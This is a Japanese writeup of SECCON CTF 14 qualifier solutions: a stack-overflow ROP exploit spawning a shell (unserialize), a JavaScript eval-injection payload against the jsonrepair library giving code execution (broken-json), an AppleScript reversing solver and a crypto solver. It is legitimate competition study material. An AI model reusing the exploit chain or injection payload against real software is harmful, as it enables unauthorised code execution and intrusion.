SECCON CTF 14 Quals writeup
https://scrapbox.io/files/69424cf57fc212138bff011d.png
Team Enuで参加して4問を解き、全体34位/国内6位でした。強いチームに参加させて頂いたお陰な部分が大きいとはいえチームにそこそこ貢献できて、CTFを始めた当初から目標としていたSECCON決勝への参加が叶いそうでとても嬉しいです。
以下は自分が通した問題 (unserialize, broken-json, aeppel, yukari) のwriteupです。
unserialize (pwn, 108 solves)
ソースコードの怪しい箇所を探すと、25行目のtmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));と27行目のsize_t sz = strtoul(szbuf, NULL, 10);で関数strtoulに与えられている引数baseが異なっていることに気付く。strtoulの仕様を調べると、サイズ入力の先頭に0を付与することでbaseが0の時は8進数、10の時は10進数として扱わせることが可能なことが分かり、このときallocaで確保した領域のサイズよりszが小さくなることによってBOFが起こせる。
34行目のmemcpyで参照されている引数はstack上の値を参照しており、BOFによってdstを任意に書き換えることでAAWを作ることができる。dstに該当する値にはリターンアドレスの周辺のアドレスが入っており、partial overwriteによって確率でリターンアドレスを作り出すことが可能で、statically linkedであるためバイナリ内のガジェットを用いたROPによってシェルを起動できる。(リーク手段が無く、バイナリから/bin/shを得ることもできないため、mov [rdi+0x98], rsi; ret;ガジェットを用いてbss領域に/bin/shを書き込んでからsyscallを起動している)
code: (python)
syscall = 0x004988f7
pop_rdi_pop_rbp = 0x0049d154
pop_rsi = 0x0043617e
pop_rax = 0x004307ad
mov_rdi98_rsi = 0x004990d4
def exploit():
size = b'0113'
payload = b''
payload += hexify(pop_rdi_pop_rbp)
payload += hexify(elf.bss()+0x100)
payload += hexify(elf.bss()+0x200)
payload += hexify(pop_rsi)
payload += b'2f62696e2f736800' # /bin/sh
payload += hexify(mov_rdi98_rsi)
payload += hexify(pop_rdi_pop_rbp)
payload += hexify(elf.bss()+0x198)
payload += hexify(elf.bss()+0x200)
payload += hexify(pop_rsi)
payload += hexify(0)
payload += hexify(pop_rax)
payload += hexify(59)
payload += hexify(syscall)
while len(payload) < 224:
payload += b'a'
payload += b'78' # partial overwrite
send(size+b':'+payload)
try:
send(b'echo ok')
recv('ok')
except EOFError:
return 1
return 0
broken-json (jail, 166 solves)
jsonrepairライブラリの関数を通してからevalするサーバーが与えられ、RCEを目指すという問題。 とりあえずjsonrepairライブラリのソースコードをgeminiに読ませて悪用できそうな箇所を探すと、関数parseRegexがダブルクォートのエスケープをしないままダブルクォートで文字列を囲っていて、利用できそうなことが分かる。 入力の先頭にスラッシュを付与することでparseRegexの処理が行われるため、例えば
/" + console.log(1) + "
のような入力を与えると最終的に
eval('"/" + console.log(1) + ""')
が実行されることになり、RCEが可能である。require("child_process")を用いるとエラーになってしまったため、process.bindingを用いてフラグを読み出した。
code:_
aeppel (Reversing, 100 solves)
applescriptの実行専用バイナリが与えられる。applescriptのreversingは参考にできる情報が少なく、lldbによる動的解析を試みていたがどの箇所がフラグチェッカーの処理なのかを特定するのも難しく悩んでいたところ、チームメンバーの方がディスアセンブルに成功して結果を貼ってくれていた(再帰的に別のバイナリを読み込む仕組みになっていたらしく、該当箇所を切り抜いたところ成功したとのこと)
geminiに読ませつつディスアセンブル結果を解析すると、Iidabashi関数で入力文字列からフラグフォーマットを除いた文字列を切り出し、Shimbashi, Ginza, Kanda, Sugamo関数にそれぞれ渡して検証を行っていることが分かる。
ここで呼ばれているShimbashi関数に注目すると、与えられた各文字に対しm[i] + 13 + (((i % 3) + 1) * 13) % 11 (iは1-indexed) という変換処理が行われ、Iidabashiで定義された定数列と比較されている。定数列に対しそのまま逆処理を行うことでフラグを特定できた。
code: (python)
val = 0x72, 0x83, 0x7f, 0x7d, 0x78, 0x82, 0x74, 0x85, 0x78, 0x81, 0x87, 0x75, 0x86, 0x81, 0x4b, 0x44 flag = [chr(vali - 13 - ((((i + 1) % 3) + 1) * 13) % 11) for i in range(16)] print("".join(flag))
yukari (Crypto, 77 solves)
与えられたpに対してqを返すのを繰り返し、サーバーで実行されるconstruct関数が32回全ての試行でエラーを吐くとフラグが貰える。 素因数分解を行っている部分で常にエラーを返させるのは厳しそうだが、この箇所に注目するとu = p^-1 (mod q)が1になるときにエラーを返しているため、p = k * q + 1 の形に設定することができれば確実にエラーを返させることが可能だとわかる。 この形を常に作るためにはconstruct関数に渡されたnが素因数分解される過程で、与えた入力がp, qどちらに割り当てられるかを操作する必要がある。ライブラリの実装を見るとどちらに代入されるかは決定的なアルゴリズムで決められていそうなので、上手く調整した値を送れば操作できそうである。
AIの力を借りながら考察すると「ある素因数を法とする際の2の位数に含まれる素因数2の個数」が与えられた素因数のものよりも大きいような素因数を送ればそれを常にpに代入させることが可能だと分かるため、その条件を満たす数を探索して送れば良い。(こんな考察をせずとも、k * p + 1を総当たりしてローカルのconstruct関数がエラーになるかを確認する実装で十分だったらしい…)
code: (python)
from pwn import *
from Crypto.Util.number import isPrime
io = remote('yukari.seccon.games', 15809)
def get_v2_ord(base, p): # pを法とする際の、baseの位数に含まれる素因数2の個数を求める
if p == 1: return 0
u = p - 1
s = 0
while u % 2 == 0:
u //= 2
s += 1
val = pow(base, u, p)
if val == 1:
return 0
for k in range(s):
val = pow(val, 2, p)
if val == 1:
return k + 1
return s
for i in range(32):
io.recvuntil(b"p = ")
p = int(io.recvline().strip())
log.info(f"Round {i+1}/32:")
info(f"p: {p}")
s = get_v2_ord(2, p)
m = 1
while True:
q_cand = m * (2 ** (s + 1)) * p + 1
t = get_v2_ord(2, q_cand)
if t > s and isPrime(q_cand):
io.sendlineafter(b"q: ", str(q_cand).encode())
info(f"q: {q_cand}")
break
m += 1
io.interactive()